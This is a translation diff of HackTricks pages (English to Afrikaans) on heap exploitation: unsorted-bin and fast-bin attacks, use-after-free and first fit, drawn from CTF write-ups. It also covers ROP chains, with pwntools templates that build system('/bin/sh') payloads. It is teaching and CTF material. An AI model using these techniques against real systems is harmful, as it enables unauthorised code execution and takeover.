- Die aanval begin deur 3 stukke te skep: chunk0 om die oorgang te misbruik, chunk1 om oorgestroom te word en chunk2 sodat die boonste stuk nie die vorige een konsolideer nie.
- Toe word chunk1 vrygestel en chunk0 word oorgestroom sodat die `bk` pointer van chunk1 na: `bk = magic - 0x10` wys.
- Toe word chunk3 toegeken met dieselfde grootte as chunk1, wat die ongeordende bin aanval sal aktiveer en die waarde van die globale veranderlike sal wysig, wat dit moontlik maak om die vlag te kry.
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
- The merge function is vulnerable because if both indexes passed are the same one it'll realloc on it and then free it but returning a pointer to that freed region that can be used.
- Therefore, **2 chunks are created**: **chunk0** which will be merged with itself and chunk1 to prevent consolidating with the top chunk. Then, the **merge function is called with chunk0** twice which will cause a use after free.
- Then, the **`view`** function is called with index 2 (which the index of the use after free chunk), which will **leak a libc address**.
- As the binary has protections to only malloc sizes bigger than **`global_max_fast`** so no fastbin is used, an unsorted bin attack is going to be used to overwrite the global variable `global_max_fast`.
- Then, it's possible to call the edit function with the index 2 (the use after free pointer) and overwrite the `bk` pointer to point to `p64(global_max_fast-0x10)`. Then, creating a new chunk will use the previously compromised free address (0x20) will **trigger the unsorted bin attack** overwriting the `global_max_fast` which a very big value, allowing now to create chunks in fast bins.
- Now a **fast bin attack** is performed:
- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location:
- <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed
- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin.
- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function.
- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Another example of abusing a 1B overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
- Die samensmeltingsfunksie is kwesbaar omdat as beide indekse wat oorgedra word dieselfde is, dit op dit sal heraanskakel en dan vry sal stel, maar 'n pointer na daardie vrygestelde streek sal teruggee wat gebruik kan word.
- Daarom, **2 stukke word geskep**: **chunk0** wat met homself saamgevoeg sal word en chunk1 om te voorkom dat dit met die boonste stuk konsolideer. Toe, die **samensmeltingsfunksie word twee keer met chunk0** aangeroep wat 'n gebruik na vry sal veroorsaak.
- Toe, die **`view`** funksie word met indeks 2 (wat die indeks van die gebruik na vry stuk is) aangeroep, wat 'n **libc adres sal lek**.
- Aangesien die binêre beskermings het om slegs malloc groottes groter as **`global_max_fast`** te gebruik, word daar geen vinnige bin gebruik nie, 'n ongeordende bin aanval gaan gebruik word om die globale veranderlike `global_max_fast` te oorskry.
- Toe, dit is moontlik om die redigeer funksie met indeks 2 (die gebruik na vry pointer) aan te roep en die `bk` pointer te oorskry om na `p64(global_max_fast-0x10)` te wys. Toe, die skep van 'n nuwe stuk sal die voorheen gecompromitteerde vry adres (0x20) gebruik wat die **ongeordende bin aanval** sal aktiveer wat die `global_max_fast` oorskry met 'n baie groot waarde, wat dit nou moontlik maak om stukke in vinnige binne te skep.
- Nou word 'n **vinnige bin aanval** uitgevoer:
- Eerstens word ontdek dat dit moontlik is om met vinnige **stukke van grootte 200** in die **`__free_hook`** ligging te werk:
- <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- As ons daarin slaag om 'n vinnige stuk van grootte 0x200 in hierdie ligging te kry, sal dit moontlik wees om 'n funksie pointer te oorskry wat uitgevoer sal word.
- Hiervoor word 'n nuwe stuk van grootte `0xfc` geskep en die samensmeltingsfunksie word twee keer met daardie pointer aangeroep, sodat ons 'n pointer na 'n vrygestelde stuk van grootte `0xfc*2 = 0x1f8` in die vinnige bin verkry.
- Toe, die redigeer funksie word in hierdie stuk aangeroep om die **`fd`** adres van hierdie vinnige bin te wys na die vorige **`__free_hook`** funksie.
- Toe, 'n stuk met grootte `0x1f8` word geskep om die vorige nuttelose stuk uit die vinnige bin te verkry, sodat 'n ander stuk van grootte `0x1f8` geskep word om 'n vinnige bin stuk in die **`__free_hook`** te kry wat oorgeskryf word met die adres van die **`system`** funksie.
- En uiteindelik word 'n stuk wat die string `/bin/sh\x00` bevat, vrygestel deur die verwyder funksie aan te roep, wat die **`__free_hook`** funksie aktiveer wat na system met `/bin/sh\x00` as parameter wys.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Nog 'n voorbeeld van die misbruik van 'n 1B oorgang om stukke in die ongeordende bin te konsolideer en 'n libc inligtingslek te kry en dan 'n vinnige bin aanval uit te voer om die malloc hook met 'n een gadget adres te oorskry.
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- We can only allocate chunks of size greater than `0x100`.
- Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
- Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
- Ons kan slegs stukke van grootte groter as `0x100` toewys.
- Oorskry `global_max_fast` met 'n Ongeordende Bin aanval (werk 1/16 keer as gevolg van ASLR, omdat ons 12 bits moet wysig, maar ons moet 16 bits wysig).
- Vinnige Bin aanval om 'n globale array van stukke te wysig. Dit bied 'n arbitrêre lees/schrijf primitief, wat toelaat om die GOT te wysig en sommige funksies na `system` te laat wys.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,17 +1,17 @@
# Use After Free
# Gebruik Na Vry
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
As the name implies, this vulnerability occurs when a program **stores some space** in the heap for an object, **writes** some info there, **frees** it apparently because it's not needed anymore and then **accesses it again**.
Soos die naam aandui, gebeur hierdie kwesbaarheid wanneer 'n program **'n bietjie spasie** in die heap vir 'n objek **stoor**, **skryf** sommige inligting daar, **vry** dit blykbaar omdat dit nie meer nodig is nie en dan **toegang daartoe weer** verkry.
The problem here is that it's not ilegal (there **won't be errors**) when a **freed memory is accessed**. So, if the program (or the attacker) managed to **allocate the freed memory and store arbitrary data**, when the freed memory is accessed from the initial pointer that **data would be have been overwritten** causing a **vulnerability that will depends on the sensitivity of the data** that was stored original (if it was a pointer of a function that was going to be be called, an attacker could know control it).
Die probleem hier is dat dit nie onwettig is nie (daar **sal nie foute wees**) wanneer **vrygestelde geheue toeganklik is**. So, as die program (of die aanvaller) daarin slaag om **die vrygestelde geheue toe te ken en arbitrêre data te stoor**, wanneer die vrygestelde geheue vanaf die aanvanklike pointeur toeganklik is, **sal daardie data oorgeskryf wees**, wat 'n **kwesbaarheid veroorsaak wat afhang van die sensitiwiteit van die data** wat oorspronklik gestoor is (as dit 'n pointeur van 'n funksie was wat opgeroep sou word, kan 'n aanvaller dit beheer).
### First Fit attack
### Eerste Pas aanval
A first fit attack targets the way some memory allocators, like in glibc, manage freed memory. When you free a block of memory, it gets added to a list, and new memory requests pull from that list from the end. Attackers can use this behavior to manipulate **which memory blocks get reused, potentially gaining control over them**. This can lead to "use-after-free" issues, where an attacker could **change the contents of memory that gets reallocated**, creating a security risk.\
Check more info in:
'n Eerste pas aanval teiken die manier waarop sommige geheue toekenners, soos in glibc, vrygestelde geheue bestuur. Wanneer jy 'n blok geheue vry, word dit by 'n lys gevoeg, en nuwe geheue versoeke trek vanaf daardie lys vanaf die einde. Aanvallers kan hierdie gedrag gebruik om **te manipuleer watter geheue blokke hergebruik word, wat moontlik beheer oor hulle kan verkry**. Dit kan lei tot "gebruik-na-vry" probleme, waar 'n aanvaller **die inhoud van geheue wat heraangewys word kan verander**, wat 'n sekuriteitsrisiko skep.\
Kyk meer inligting in:
{{#ref}}
first-fit.md

View File

@ -4,36 +4,33 @@
## **First Fit**
When you free memory in a program using glibc, different "bins" are used to manage the memory chunks. Here's a simplified explanation of two common scenarios: unsorted bins and fastbins.
Wanneer jy geheue in 'n program met glibc vrymaak, word verskillende "bins" gebruik om die geheue stukke te bestuur. Hier is 'n vereenvoudigde verduideliking van twee algemene scenario's: ongesorteerde bins en vinnige bins.
### Unsorted Bins
### Ongesorteerde Bins
When you free a memory chunk that's not a fast chunk, it goes to the unsorted bin. This bin acts like a list where new freed chunks are added to the front (the "head"). When you request a new chunk of memory, the allocator looks at the unsorted bin from the back (the "tail") to find a chunk that's big enough. If a chunk from the unsorted bin is bigger than what you need, it gets split, with the front part being returned and the remaining part staying in the bin.
Wanneer jy 'n geheue stuk vrymaak wat nie 'n vinnige stuk is nie, gaan dit na die ongesorteerde bin. Hierdie bin funksioneer soos 'n lys waar nuwe vrygemaakte stukke aan die voorkant (die "kop") bygevoeg word. Wanneer jy 'n nuwe stuk geheue aan vra, kyk die toewysingsprogram na die ongesorteerde bin vanaf die agterkant (die "stert") om 'n stuk te vind wat groot genoeg is. As 'n stuk uit die ongesorteerde bin groter is as wat jy nodig het, word dit gesplit, met die voorste deel wat teruggegee word en die oorblywende deel wat in die bin bly.
Example:
- You allocate 300 bytes (`a`), then 250 bytes (`b`), the free `a` and request again 250 bytes (`c`).
- When you free `a`, it goes to the unsorted bin.
- If you then request 250 bytes again, the allocator finds `a` at the tail and splits it, returning the part that fits your request and keeping the rest in the bin.
- `c` will be pointing to the previous `a` and filled with the `a's`.
Voorbeeld:
- Jy toewys 300 bytes (`a`), dan 250 bytes (`b`), vrymaak `a` en vra weer 250 bytes (`c`).
- Wanneer jy `a` vrymaak, gaan dit na die ongesorteerde bin.
- As jy dan weer 250 bytes vra, vind die toewysingsprogram `a` by die stert en split dit, terwyl die deel wat by jou versoek pas, teruggegee word en die res in die bin bly.
- `c` sal na die vorige `a` wys en met die `a's` gevul wees.
```c
char *a = malloc(300);
char *b = malloc(250);
free(a);
char *c = malloc(250);
```
### Fastbins
Fastbins are used for small memory chunks. Unlike unsorted bins, fastbins add new chunks to the head, creating a last-in-first-out (LIFO) behavior. If you request a small chunk of memory, the allocator will pull from the fastbin's head.
Fastbins word gebruik vir klein geheue stukke. Anders as ongesorteerde bins, voeg fastbins nuwe stukke by die kop, wat 'n laaste-in-eerste-uit (LIFO) gedrag skep. As jy 'n klein stuk geheue aan vra, sal die toewysingsprogram van die fastbin se kop trek.
Example:
- You allocate four chunks of 20 bytes each (`a`, `b`, `c`, `d`).
- When you free them in any order, the freed chunks are added to the fastbin's head.
- If you then request a 20-byte chunk, the allocator will return the most recently freed chunk from the head of the fastbin.
Voorbeeld:
- Jy toewys vier stukke van 20 bytes elk (`a`, `b`, `c`, `d`).
- Wanneer jy hulle in enige volgorde vrylaat, word die vrygestelde stukke by die fastbin se kop gevoeg.
- As jy dan 'n 20-byte stuk aan vra, sal die toewysingsprogram die mees onlangs vrygestelde stuk van die kop van die fastbin teruggee.
```c
char *a = malloc(20);
char *b = malloc(20);
@ -48,17 +45,16 @@ b = malloc(20); // c
c = malloc(20); // b
d = malloc(20); // a
```
## Other References & Examples
## Ander Verwysings & Voorbeelde
- [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit)
- [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
- ARM64. Use after free: Generate an user object, free it, generate an object that gets the freed chunk and allow to write to it, **overwriting the position of user->password** from the previous one. Reuse the user to **bypass the password check**
- ARM64. Gebruik na vry: Genereer 'n gebruikersobjek, vry dit, genereer 'n objek wat die vrygestelde stuk ontvang en laat dit toe om na te skryf, **oorwrite die posisie van user->password** van die vorige een. Hergebruik die gebruiker om **die wagwoordkontrole te omseil**
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
- The program allows to create notes. A note will have the note info in a malloc(8) (with a pointer to a function that could be called) and a pointer to another malloc(\<size>) with the contents of the note.
- The attack would be to create 2 notes (note0 and note1) with bigger malloc contents than the note info size and then free them so they get into the fast bin (or tcache).
- Then, create another note (note2) with content size 8. The content is going to be in note1 as the chunk is going to be reused, were we could modify the function pointer to point to the win function and then Use-After-Free the note1 to call the new function pointer.
- Die program laat toe om notas te skep. 'n Nota sal die nota-inligting in 'n malloc(8) hê (met 'n pointeur na 'n funksie wat geroep kan word) en 'n pointeur na 'n ander malloc(\<size>) met die inhoud van die nota.
- Die aanval sou wees om 2 notas (nota0 en nota1) te skep met groter malloc-inhoud as die nota-inligting grootte en dan hulle vry te stel sodat hulle in die vinnige bin (of tcache) kom.
- Dan, skep 'n ander nota (nota2) met inhoudsgrootte 8. Die inhoud gaan in nota1 wees aangesien die stuk hergebruik gaan word, waar ons die funksiepointeur kan verander om na die wen-funksie te wys en dan Gebruik-Na-Vry die nota1 om die nuwe funksiepointeur aan te roep.
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
- It's possible to alloc some memory, write the desired value, free it, realloc it and as the previous data is still there, it will treated according the new expected struct in the chunk making possible to set the value ot get the flag.
- Dit is moontlik om 'n bietjie geheue toe te ken, die verlangde waarde te skryf, dit vry te stel, dit weer toe te ken en aangesien die vorige data steeds daar is, sal dit behandel word volgens die nuwe verwagte struktuur in die stuk wat dit moontlik maak om die waarde te stel om die vlag te kry.
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
- In this case it's needed to write 4 inside an specific chunk which is the first one being allocated (even after force freeing all of them). On each new allocated chunk it's number in the array index is stored. Then, allocate 4 chunks (+ the initialy allocated), the last one will have 4 inside of it, free them and force the reallocation of the first one, which will use the last chunk freed which is the one with 4 inside of it.
- In hierdie geval is dit nodig om 4 binne 'n spesifieke stuk te skryf wat die eerste een is wat toegeken word (selfs nadat al hulle gedwing vrygestel is). Op elke nuwe toegeken stuk word sy nommer in die array-indeks gestoor. Dan, ken 4 stukke toe (+ die aanvanklik toegeken), die laaste een sal 4 daarin hê, vry hulle en dwing die hertoekenning van die eerste een, wat die laaste vrygestelde stuk sal gebruik wat die een met 4 daarin is.

View File

@ -2,45 +2,44 @@
{{#include ../../banners/hacktricks-training.md}}
## **Basic Information**
## **Basiese Inligting**
**Return-Oriented Programming (ROP)** is an advanced exploitation technique used to circumvent security measures like **No-Execute (NX)** or **Data Execution Prevention (DEP)**. Instead of injecting and executing shellcode, an attacker leverages pieces of code already present in the binary or in loaded libraries, known as **"gadgets"**. Each gadget typically ends with a `ret` instruction and performs a small operation, such as moving data between registers or performing arithmetic operations. By chaining these gadgets together, an attacker can construct a payload to perform arbitrary operations, effectively bypassing NX/DEP protections.
**Return-Oriented Programming (ROP)** is 'n gevorderde eksploitasi tegniek wat gebruik word om sekuriteitsmaatreëls soos **No-Execute (NX)** of **Data Execution Prevention (DEP)** te omseil. In plaas daarvan om shellcode in te spuit en uit te voer, benut 'n aanvaller stukke kode wat reeds in die binêre of in gelaaide biblioteke teenwoordig is, bekend as **"gadgets"**. Elke gadget eindig tipies met 'n `ret` instruksie en voer 'n klein operasie uit, soos om data tussen registers te beweeg of aritmetiese operasies uit te voer. Deur hierdie gadgets saam te ketting, kan 'n aanvaller 'n payload saamstel om arbitrêre operasies uit te voer, wat effektief NX/DEP beskermings omseil.
### How ROP Works
### Hoe ROP Werk
1. **Control Flow Hijacking**: First, an attacker needs to hijack the control flow of a program, typically by exploiting a buffer overflow to overwrite a saved return address on the stack.
2. **Gadget Chaining**: The attacker then carefully selects and chains gadgets to perform the desired actions. This could involve setting up arguments for a function call, calling the function (e.g., `system("/bin/sh")`), and handling any necessary cleanup or additional operations.
3. **Payload Execution**: When the vulnerable function returns, instead of returning to a legitimate location, it starts executing the chain of gadgets.
1. **Beheervloei Hijacking**: Eerstens moet 'n aanvaller die beheervloei van 'n program oorneem, tipies deur 'n buffer overflow te benut om 'n gestoor terugadres op die stapel te oorskry.
2. **Gadget Ketting**: Die aanvaller kies dan versigtig en ketting gadgets om die gewenste aksies uit te voer. Dit kan behels om argumente vir 'n funksie-aanroep op te stel, die funksie aan te roep (bv. `system("/bin/sh")`), en enige nodige opruiming of addisionele operasies te hanteer.
3. **Payload Uitvoering**: Wanneer die kwesbare funksie terugkeer, begin dit om die ketting van gadgets uit te voer in plaas daarvan om na 'n wettige ligging terug te keer.
### Tools
### Gereedskap
Typically, gadgets can be found using [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) or directly from **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
Tipies kan gadgets gevind word met behulp van [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) of direk van **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
## ROP Chain in x86 Example
## ROP Ketting in x86 Voorbeeld
### **x86 (32-bit) Calling conventions**
### **x86 (32-bit) Aanroep konvensies**
- **cdecl**: The caller cleans the stack. Function arguments are pushed onto the stack in reverse order (right-to-left). **Arguments are pushed onto the stack from right to left.**
- **stdcall**: Similar to cdecl, but the callee is responsible for cleaning the stack.
- **cdecl**: Die oproeper maak die stapel skoon. Funksie argumente word in omgekeerde volgorde (regs na links) op die stapel geplaas. **Argumente word van regs na links op die stapel geplaas.**
- **stdcall**: Soortgelyk aan cdecl, maar die aangeroepde is verantwoordelik vir die skoonmaak van die stapel.
### **Finding Gadgets**
### **Gadgets Vind**
First, let's assume we've identified the necessary gadgets within the binary or its loaded libraries. The gadgets we're interested in are:
Eerstens, kom ons neem aan ons het die nodige gadgets binne die binêre of sy gelaaide biblioteke geïdentifiseer. Die gadgets waarin ons belangstel, is:
- `pop eax; ret`: This gadget pops the top value of the stack into the `EAX` register and then returns, allowing us to control `EAX`.
- `pop ebx; ret`: Similar to the above, but for the `EBX` register, enabling control over `EBX`.
- `mov [ebx], eax; ret`: Moves the value in `EAX` to the memory location pointed to by `EBX` and then returns. This is often called a **write-what-where gadget**.
- Additionally, we have the address of the `system()` function available.
- `pop eax; ret`: Hierdie gadget pop die boonste waarde van die stapel in die `EAX` register en keer dan terug, wat ons in staat stel om `EAX` te beheer.
- `pop ebx; ret`: Soortgelyk aan die bogenoemde, maar vir die `EBX` register, wat beheer oor `EBX` moontlik maak.
- `mov [ebx], eax; ret`: Beweeg die waarde in `EAX` na die geheue ligging aangedui deur `EBX` en keer dan terug. Dit word dikwels 'n **write-what-where gadget** genoem.
- Daarbenewens het ons die adres van die `system()` funksie beskikbaar.
### **ROP Chain**
### **ROP Ketting**
Using **pwntools**, we prepare the stack for the ROP chain execution as follows aiming to execute `system('/bin/sh')`, note how the chain starts with:
1. A `ret` instruction for alignment purposes (optional)
2. Address of `system` function (supposing ASLR disabled and known libc, more info in [**Ret2lib**](ret2lib/))
3. Placeholder for the return address from `system()`
4. `"/bin/sh"` string address (parameter for system function)
Met behulp van **pwntools**, berei ons die stapel voor vir die ROP ketting uitvoering soos volg, met die doel om `system('/bin/sh')` uit te voer, let op hoe die ketting begin met:
1. 'n `ret` instruksie vir uitlijning doeleindes (opsioneel)
2. Adres van die `system` funksie (veronderstel ASLR gedeaktiveer en bekende libc, meer inligting in [**Ret2lib**](ret2lib/))
3. Plekhouer vir die terugadres van `system()`
4. `"/bin/sh"` string adres (parameter vir die system funksie)
```python
from pwn import *
@ -59,10 +58,10 @@ ret_gadget = 0xcafebabe # This could be any gadget that allows us to control th
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
@ -74,28 +73,26 @@ payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
```
## ROP-ketting in x64 Voorbeeld
## ROP Chain in x64 Example
### **x64 (64-bit) Aanroep konvensies**
### **x64 (64-bit) Calling conventions**
- Gebruik die **System V AMD64 ABI** aanroep konvensie op Unix-agtige stelsels, waar die **eerste ses heelgetal of wysiger argumente in die registers `RDI`, `RSI`, `RDX`, `RCX`, `R8`, en `R9`** oorgedra word. Bykomende argumente word op die stapel oorgedra. Die terugkeerwaarde word in `RAX` geplaas.
- **Windows x64** aanroep konvensie gebruik `RCX`, `RDX`, `R8`, en `R9` vir die eerste vier heelgetal of wysiger argumente, met bykomende argumente wat op die stapel oorgedra word. Die terugkeerwaarde word in `RAX` geplaas.
- **Registers**: 64-bit registers sluit `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, en `R8` tot `R15` in.
- Uses the **System V AMD64 ABI** calling convention on Unix-like systems, where the **first six integer or pointer arguments are passed in the registers `RDI`, `RSI`, `RDX`, `RCX`, `R8`, and `R9`**. Additional arguments are passed on the stack. The return value is placed in `RAX`.
- **Windows x64** calling convention uses `RCX`, `RDX`, `R8`, and `R9` for the first four integer or pointer arguments, with additional arguments passed on the stack. The return value is placed in `RAX`.
- **Registers**: 64-bit registers include `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, and `R8` to `R15`.
#### **Vind Gadgets**
#### **Finding Gadgets**
Vir ons doel, kom ons fokus op gadgets wat ons sal toelaat om die **RDI** register in te stel (om die **"/bin/sh"** string as 'n argument aan **system()** oor te dra) en dan die **system()** funksie aan te roep. Ons neem aan ons het die volgende gadgets geïdentifiseer:
For our purpose, let's focus on gadgets that will allow us to set the **RDI** register (to pass the **"/bin/sh"** string as an argument to **system()**) and then call the **system()** function. We'll assume we've identified the following gadgets:
- **pop rdi; ret**: Popp die boonste waarde van die stapel in **RDI** en keer dan terug. Essensieel om ons argument vir **system()** in te stel.
- **ret**: 'n Eenvoudige terugkeer, nuttig vir stapel-alignment in sommige scenario's.
- **pop rdi; ret**: Pops the top value of the stack into **RDI** and then returns. Essential for setting our argument for **system()**.
- **ret**: A simple return, useful for stack alignment in some scenarios.
En ons weet die adres van die **system()** funksie.
And we know the address of the **system()** function.
### **ROP Chain**
Below is an example using **pwntools** to set up and execute a ROP chain aiming to execute **system('/bin/sh')** on **x64**:
### **ROP-ketting**
Hieronder is 'n voorbeeld wat **pwntools** gebruik om 'n ROP-ketting op te stel en uit te voer wat daarop gemik is om **system('/bin/sh')** op **x64** uit te voer:
```python
from pwn import *
@ -115,10 +112,10 @@ ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
@ -130,66 +127,65 @@ payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
```
In hierdie voorbeeld:
In this example:
- Ons gebruik die **`pop rdi; ret`** gadget om **`RDI`** op die adres van **`"/bin/sh"`** te stel.
- Ons spring direk na **`system()`** nadat ons **`RDI`** gestel het, met **system()**'s adres in die ketting.
- **`ret_gadget`** word gebruik vir uitlijning as die teikenomgewing dit vereis, wat meer algemeen in **x64** is om behoorlike stapeluitlijning te verseker voordat funksies aangeroep word.
- We utilize the **`pop rdi; ret`** gadget to set **`RDI`** to the address of **`"/bin/sh"`**.
- We directly jump to **`system()`** after setting **`RDI`**, with **system()**'s address in the chain.
- **`ret_gadget`** is used for alignment if the target environment requires it, which is more common in **x64** to ensure proper stack alignment before calling functions.
### Stapeluitlijning
### Stack Alignment
**Die x86-64 ABI** verseker dat die **stapel 16-byte uitgelijnd** is wanneer 'n **call-instruksie** uitgevoer word. **LIBC**, om prestasie te optimaliseer, **gebruik SSE-instruksies** (soos **movaps**) wat hierdie uitlijning vereis. As die stapel nie behoorlik uitgelijnd is (wat beteken **RSP** nie 'n veelvoud van 16 is nie), sal oproepe na funksies soos **system** misluk in 'n **ROP-ketting**. Om dit reg te stel, voeg eenvoudig 'n **ret gadget** by voordat jy **system** in jou ROP-ketting aanroep.
**The x86-64 ABI** ensures that the **stack is 16-byte aligned** when a **call instruction** is executed. **LIBC**, to optimize performance, **uses SSE instructions** (like **movaps**) which require this alignment. If the stack isn't aligned properly (meaning **RSP** isn't a multiple of 16), calls to functions like **system** will fail in a **ROP chain**. To fix this, simply add a **ret gadget** before calling **system** in your ROP chain.
## x86 vs x64 main difference
## x86 vs x64 hoof verskil
> [!TIP]
> Since **x64 uses registers for the first few arguments,** it often requires fewer gadgets than x86 for simple function calls, but finding and chaining the right gadgets can be more complex due to the increased number of registers and the larger address space. The increased number of registers and the larger address space in **x64** architecture provide both opportunities and challenges for exploit development, especially in the context of Return-Oriented Programming (ROP).
> Aangesien **x64 registers vir die eerste paar argumente gebruik,** vereis dit dikwels minder gadgets as x86 vir eenvoudige funksie-oproepe, maar om die regte gadgets te vind en te ketting kan meer kompleks wees weens die verhoogde aantal registers en die groter adresruimte. Die verhoogde aantal registers en die groter adresruimte in **x64** argitektuur bied beide geleenthede en uitdagings vir eksploitontwikkeling, veral in die konteks van Return-Oriented Programming (ROP).
## ROP chain in ARM64 Example
## ROP-ketting in ARM64 Voorbeeld
### **ARM64 Basics & Calling conventions**
### **ARM64 Basiese beginsels & Oproep konvensies**
Check the following page for this information:
Kyk na die volgende bladsy vir hierdie inligting:
{{#ref}}
../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Protections Against ROP
## Beskerming teen ROP
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): These protections makes harder the use of ROP as the addresses of the gadgets changes between execution.
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): In of a BOF, it's needed to bypass the stores stack canary to overwrite return pointers to abuse a ROP chain
- **Lack of Gadgets**: If there aren't enough gadgets it won't be possible to generate a ROP chain.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Hierdie beskermings maak dit moeiliker om ROP te gebruik aangesien die adresse van die gadgets tussen uitvoering verander.
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): In die geval van 'n BOF, is dit nodig om die stoor stapelkanarie te omseil om terugwysers te oorskry om 'n ROP-ketting te misbruik.
- **Gebrek aan Gadgets**: As daar nie genoeg gadgets is nie, sal dit nie moontlik wees om 'n ROP-ketting te genereer nie.
## ROP based techniques
## ROP-gebaseerde tegnieke
Notice that ROP is just a technique in order to execute arbitrary code. Based in ROP a lot of Ret2XXX techniques were developed:
Let daarop dat ROP net 'n tegniek is om arbitrêre kode uit te voer. Gebaseer op ROP is 'n klomp Ret2XXX-tegnieke ontwikkel:
- **Ret2lib**: Use ROP to call arbitrary functions from a loaded library with arbitrary parameters (usually something like `system('/bin/sh')`.
- **Ret2lib**: Gebruik ROP om arbitrêre funksies van 'n gelaaide biblioteek met arbitrêre parameters aan te roep (gewoonlik iets soos `system('/bin/sh')`.
{{#ref}}
ret2lib/
{{#endref}}
- **Ret2Syscall**: Use ROP to prepare a call to a syscall, e.g. `execve`, and make it execute arbitrary commands.
